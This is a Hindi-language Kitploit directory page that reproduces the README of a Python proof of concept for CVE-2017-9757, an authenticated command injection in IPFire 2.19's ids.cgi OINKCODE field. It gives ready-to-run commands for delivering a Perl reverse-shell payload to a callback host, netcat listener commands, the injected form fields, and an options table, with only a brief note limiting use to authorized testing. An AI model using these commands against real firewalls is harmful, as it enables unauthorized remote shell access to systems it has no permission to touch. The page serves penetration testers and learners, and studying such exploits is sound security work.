Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
IPFire_2.19_RCE_Authenticated — यह एक्सप्लॉइट CVE-2017-9757 पर आधारित है और इसे 0x09AL द्वारा बनाए गए मूल एक्सप्लॉइट के ऊपर बनाया गया है। | Kitploit
उपकरण/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

यह एक्सप्लॉइट CVE-2017-9757 पर आधारित है और इसे 0x09AL द्वारा बनाए गए मूल एक्सप्लॉइट के ऊपर बनाया गया है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
112 दिन पहलेअभी तक समीक्षित नहीं

IPFire 2.19 OINKCODE RCE PoC

IPFire 2.19 के ids.cgi पृष्ठ में OINKCODE पैरामीटर के माध्यम से प्रमाणित कमांड-इंजेक्शन भेद्यता के लिए Python प्रूफ ऑफ कॉन्सेप्ट।

केवल अधिकृत सुरक्षा परीक्षण और प्रशिक्षण प्रयोगशालाओं के लिए। इस PoC को केवल उन्हीं प्रणालियों पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक इस कोड के कारण होने वाले दुरुपयोग या क्षति के लिए उत्तरदायी नहीं है।

भेद्यता अवलोकन

IPFire 2.19, /cgi-bin/ids.cgi द्वारा संसाधित OINKCODE पैरामीटर में OS कमांड इंजेक्शन के प्रति संवेदनशील है। यह पैरामीटर उचित निष्प्रभावीकरण के बिना शेल कमांड में शामिल किया जाता है, जिससे एक प्रमाणित उपयोगकर्ता IPFire होस्ट पर कमांड निष्पादित कर सकता है।

इस भेद्यता को सामान्यतः CVE-2017-9757 के रूप में पहचाना जाता है और यह CWE-78: OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('OS कमांड इंजेक्शन') से मेल खाती है।

मूल सार्वजनिक PoC का परीक्षण IPFire 2.19 Core Update 110 पर किया गया था। Metasploit मॉड्यूल IPFire 2.19 तक के संस्करणों को Core Update 110 के साथ अपनी समर्थित जाँच सीमा के भीतर मानता है।

यह PoC क्यों बनाया गया

Exploit-DB का मूल Python PoC निम्न का उपयोग करके एक सत्यापन अनुरोध करता है:

root@kitploit:~
OINKCODE = '`id`'

फिर यह केवल तभी लक्ष्य को संवेदनशील घोषित करता है जब HTTP प्रतिक्रिया में निम्न शामिल हो:

root@kitploit:~
uid=99(nobody)

यह सत्यापन अविश्वसनीय है। कमांड निष्पादित हो सकती है जबकि उसका आउटपुट CGI द्वारा निर्मित शेल कमांड द्वारा उपभोग किया जाता है, बजाय क्लाइंट को लौटाई गई HTML प्रतिक्रिया में प्रतिबिंबित होने के। परिणामस्वरूप, सर्वर id का आउटपुट शामिल किए बिना एक सामान्य HTTP 200 पृष्ठ लौटा सकता है, जिससे गलत नकारात्मक परिणाम उत्पन्न होता है।

यह कार्यान्वयन Metasploit मॉड्यूल द्वारा उपयोग किए गए सत्यापन तर्क का पालन करता है:

  1. HTTP Basic Authentication के साथ /cgi-bin/pakfire.cgi का अनुरोध करें।
  2. प्रतिक्रिया से IPFire संस्करण और Core Update निकालें।
  3. IPFire <= 2.19 और Core Update <= 110 को संवेदनशील प्रतीत होने वाले के रूप में मानें।
  4. कमांड पेलोड को OINKCODE फ़ील्ड में /cgi-bin/ids.cgi पर भेजें।
  5. गैर-200 प्रतिक्रिया को अस्वीकृत अनुरोध या प्रमाणीकरण समस्या के रूप में मानें।
  6. uid=99(nobody) के लिए HTML बॉडी का निरीक्षण न करें।

PoC एक Perl कमांड-शेल पेलोड का भी उपयोग करता है, जो Metasploit मॉड्यूल द्वारा समर्थित कमांड पेलोड परिवार से मेल खाता है। एक सफल HTTP प्रतिक्रिया अपने आप में यह सिद्ध नहीं करती कि रिवर्स शेल जुड़ गया; listener और नेटवर्क पथ की भी पुष्टि की जानी चाहिए।

स्रोत exploits के बीच अंतर

Metasploit मॉड्यूल की महत्वपूर्ण सफलता कसौटी यह है कि एक अप्रत्याशित प्रतिक्रिया कोड अमान्य क्रेडेंशियल या अस्वीकृत अनुरोध का संकेत देता है। इसके लिए प्रतिक्रिया बॉडी में इंजेक्ट किए गए कमांड का आउटपुट होना आवश्यक नहीं है।

आवश्यकताएँ

  • Python 3
  • requests
  • वेब इंटरफ़ेस तक पहुँच के साथ मान्य IPFire क्रेडेंशियल
  • लक्ष्य पर एक Perl इंटरप्रेटर, सामान्यतः perl के रूप में उपलब्ध
  • IPFire होस्ट से पहुँच योग्य एक listener

Python निर्भरता स्थापित करें:

root@kitploit:~
python3 -m pip install requests

उपयोग

1. केवल लक्ष्य संस्करण की जाँच करें

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

जब --password प्रदान नहीं किया जाता है तो पासवर्ड इंटरैक्टिव रूप से माँगा जाता है। यह अनुशंसित है क्योंकि किसी कमांड में सीधे पासवर्ड डालने से वह शेल इतिहास या प्रोसेस सूची के माध्यम से उजागर हो सकता है।

2. एक listener प्रारंभ करें

--lhost और --lport के रूप में प्रदान किए गए पते और पोर्ट पर एक listener का उपयोग करें:

root@kitploit:~
rlwrap nc -lvnp 4444

यदि rlwrap स्थापित नहीं है, तो उपयोग करें:

root@kitploit:~
nc -lvnp 4444

3. Perl रिवर्स-शेल पेलोड भेजें

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

सामान्य IPFire self-signed HTTPS प्रमाणपत्र के लिए, --insecure/-k आवश्यक है। इसका उपयोग केवल तभी करें जब प्रयोगशाला में जानबूझकर प्रमाणपत्र सत्यापन संभव न हो।

होस्ट और पोर्ट के बजाय पूर्ण URL

लक्ष्य को पूर्ण बेस URL के रूप में भी प्रदान किया जा सकता है:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

संस्करण फ़िंगरप्रिंटिंग छोड़ें

इसका उपयोग केवल तभी करें जब IPFire संस्करण की पहले ही स्वतंत्र रूप से पुष्टि हो चुकी हो:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

एक अलग Perl पथ निर्दिष्ट करें

यदि Perl लक्ष्य के डिफ़ॉल्ट PATH में नहीं है, तो उसका पूर्ण पथ प्रदान करें:

root@kitploit:~
--perl-path /usr/bin/perl

कमांड-लाइन विकल्प

आउटपुट की व्याख्या

ids.cgi से HTTP 200

इसका अर्थ है कि HTTP अनुरोध को CGI द्वारा उसी व्यावहारिक कसौटी के अनुसार स्वीकार किया गया था जिसका उपयोग Metasploit मॉड्यूल करता है। एक सामान्य HTML प्रतिक्रिया अपेक्षित है और यह प्रमाण नहीं है कि भेद्यता जाँच विफल रही।

शेल के लिए listener की जाँच करें। यदि कोई शेल नहीं आता है, तो callback पता, रूटिंग, फ़ायरवॉल egress नियम, Perl उपलब्धता और चयनित पोर्ट की जाँच करें।

HTTP 401 या HTTP 403

अनुरोध अधिकृत नहीं था। उपयोगकर्ता नाम, पासवर्ड, लक्ष्य URL, पोर्ट और यह जाँचें कि खाता IPFire वेब इंटरफ़ेस तक पहुँच सकता है या नहीं।

HTTP 404

लक्ष्य URL या CGI पथ संभवतः गलत है, या सेवा अपेक्षित IPFire वेब इंटरफ़ेस नहीं है।

संस्करण पहचाना नहीं गया

स्क्रिप्ट pakfire.cgi में अपेक्षित संस्करण स्ट्रिंग नहीं ढूँढ सकी। --skip-version-check का उपयोग करने से पहले लक्ष्य की मैन्युअल रूप से पुष्टि करें।

पेलोड वितरण के बाद अनुरोध टाइमआउट

इंजेक्ट किया गया कमांड callback का प्रयास करते समय CGI अनुरोध को खुला रख सकता है। इसे शेल का निश्चित प्रमाण नहीं, बल्कि listener की जाँच करने के संकेत के रूप में लें।

तकनीकी अनुरोध प्रवाह

स्क्रिप्ट HTTP Basic Authentication का उपयोग करती है और ids.cgi को निम्नलिखित फ़ॉर्म फ़ील्ड भेजती है:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

कमांड बैकटिक्स में संलग्न है क्योंकि संवेदनशील एप्लिकेशन OINKCODE मान को शेल कमांड में पास करता है। सटीक अनुरोध व्यवहार लक्ष्य संस्करण और उसके स्थानीय कॉन्फ़िगरेशन पर निर्भर करता है।

सीमाएँ

  • यह एक प्रूफ ऑफ कॉन्सेप्ट है, कोई पूर्ण exploitation फ्रेमवर्क नहीं।
  • संस्करण जाँच संदर्भित Metasploit मॉड्यूल के व्यवहार पर आधारित है; यह गारंटी नहीं है कि मेल खाते banner वाला हर लक्ष्य exploitable है।
  • एक 200 प्रतिक्रिया पुष्टि करती है कि अनुरोध स्वीकार किया गया था, यह नहीं कि रिवर्स शेल listener तक पहुँच गया।
  • Perl पेलोड के लिए एक कार्यशील Perl इंटरप्रेटर और IPFire से listener तक नेटवर्क कनेक्टिविटी आवश्यक है।
  • स्क्रिप्ट प्रमाणीकरण बायपास या CSRF exploitation का प्रयास नहीं करती; मान्य क्रेडेंशियल अपेक्षित हैं।

संदर्भ

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: IPFire 2.19 Remote Code Execution
  • Exploit-DB 42369: IPFire < 2.19 Update Core 110 Remote Code Execution
  • Metasploit मॉड्यूल: ipfire_oinkcode_exec.rb
  • Metasploit Perl कमांड पेलोड
  • CWE-78: OS कमांड इंजेक्शन

श्रेय

यह परियोजना 0x09AL द्वारा किए गए सार्वजनिक शोध और प्रूफ ऑफ कॉन्सेप्ट तथा Metasploit समुदाय द्वारा अनुरक्षित Metasploit मॉड्यूल पर आधारित एक शैक्षिक Python कार्यान्वयन है। यह IPFire, Exploit-DB या Rapid7 से संबद्ध नहीं है और न ही इनके द्वारा समर्थित है।

टूल डाउनलोड करें
विशेषताExploit-DB 42149 Python PoCExploit-DB 42369 / Metasploitयह PoC
संवेदनशील endpoint/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
संस्करण जाँचकोई नहींGET /cgi-bin/pakfire.cgiवही Metasploit-शैली जाँच
प्रमाणीकरणBasic AuthBasic Auth हेडरrequests.Session के माध्यम से Basic Auth
प्रारंभिक सत्यापन`id` निष्पादित करता है और प्रतिक्रिया बॉडी खोजता हैसंस्करण जाँचता है, फिर पेलोड भेजता हैसंस्करण जाँचता है और HTTP परिणाम कोड का उपयोग करता है
गलत-नकारात्मक जोखिमउच्च: uid=99(nobody) के प्रतिबिंबित होने पर निर्भर करता हैबॉडी-सामग्री सत्यापन से बचता हैबॉडी-सामग्री सत्यापन से बचता है
रिवर्स शेलBash /dev/tcpMetasploit Unix कमांड पेलोडPerl IO::Socket::INET कमांड शेल
TLS हैंडलिंगPoC में प्रमाणपत्र सत्यापन अक्षमSSL डिफ़ॉल्ट रूप से सक्षमसत्यापन केवल -k/--insecure के साथ अक्षम होता है
कॉन्फ़िगरेशनमान स्रोत में संपादित किए जाते हैंMetasploit विकल्पकमांड-लाइन तर्क
विकल्पडिफ़ॉल्टविवरण
-t, --targetआवश्यकलक्ष्य होस्ट/IP या पूर्ण बेस URL
--schemehttpsजब लक्ष्य केवल होस्ट/IP हो तो उपयोग की जाने वाली scheme
--web-port444IPFire वेब इंटरफ़ेस पोर्ट
-u, --usernameadminIPFire उपयोगकर्ता नाम
-p, --passwordPromptपासवर्ड; इसे बिना echo किए दर्ज करने के लिए छोड़ दें
--lhostआवश्यकIPFire से पहुँच योग्य listener पता
--lport4444Listener पोर्ट
--perl-pathperlलक्ष्य पर Perl निष्पादन योग्य
--timeout10सेकंड में HTTP टाइमआउट
-k, --insecureअक्षमTLS प्रमाणपत्र सत्यापन अक्षम करें
--skip-version-checkअक्षमpakfire.cgi जाँच छोड़ें
--check-onlyअक्षमकेवल संस्करण जाँच करें